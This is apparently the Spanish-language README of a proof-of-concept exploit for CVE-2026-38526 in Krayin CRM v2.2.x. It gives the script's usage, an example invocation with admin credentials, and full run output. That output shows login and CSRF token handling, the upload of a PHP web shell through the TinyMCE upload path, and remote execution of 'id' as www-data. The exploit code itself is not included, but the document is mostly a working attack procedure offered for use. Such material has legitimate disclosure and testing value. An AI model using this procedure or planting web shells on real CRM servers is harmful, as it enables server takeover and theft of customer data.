CVE-2026-38526 - Krayin CRM RCE

explotado por infrar3d

Se trata de una prueba de concepto de Ejecución Remota de Código (RCE) diseñada específicamente para Krayin CRM v2.2.x, un sistema de gestión de relaciones con clientes de código abierto. El script automatiza la explotación de una vulnerabilidad de subida de archivos en la interfaz administrativa del CRM para lograr la ejecución remota de comandos en el servidor objetivo.

Uso:

python3 CVE-2026-38526.py --help
usage: CVE-2026-38526.py [-h] -rh RHOST -u USERNAME -p PASSWORD -c COMMAND

Krayin CRM RCE Exploit

options:
  -h, --help            show this help message and exit
  -rh, --rhost RHOST    Remote host
  -u, --username USERNAME
                        Username or E-mail
  -p, --password PASSWORD
                        Password
  -c, --command COMMAND
                        Command to execute

Ejemplo:

python3 CVE-2026-38526.py -rh http://krayin.endpoint.site -u '[email protected]' -p 's3cur3-p4ss' -c 'id'

[*] Getting login page...
[+] CSRF Token: 3b438w26pvvr2rhWToWURhAhyGPdeWZm6DRShdUd
[*] Attempting login as: [email protected]...
[+] Redirect: http://krayin.endpoint.site/admin/dashboard
[+] Login successful!
[+] Session established successfully
[+] XSRF Token: eyJpdiI6ImVDY3h5c2dRdk5JS1NXaVdJaDJGdVE9PSIsInZhbH...
[*] Getting fresh CSRF token for upload...
[+] Found _token in modal
[+] Upload CSRF Token: ZQwH7QLajl5wZdNAOSX8Sk0v7z9spW1VYrw4VESW
[*] Uploading shell...
[+] Upload response status: 200
[+] File uploaded successfully!
[+] Location: http://krayin.endpoint.site/storage/tinymce/a9e2d9a51d41723acad27dc2c7ec861d.php
[*] Executing command: id
[+] Command output:
============================================================

uid=33(www-data) gid=33(www-data) groups=33(www-data)

============================================================

CVE-2026-38526-KrayinCRM-RCE

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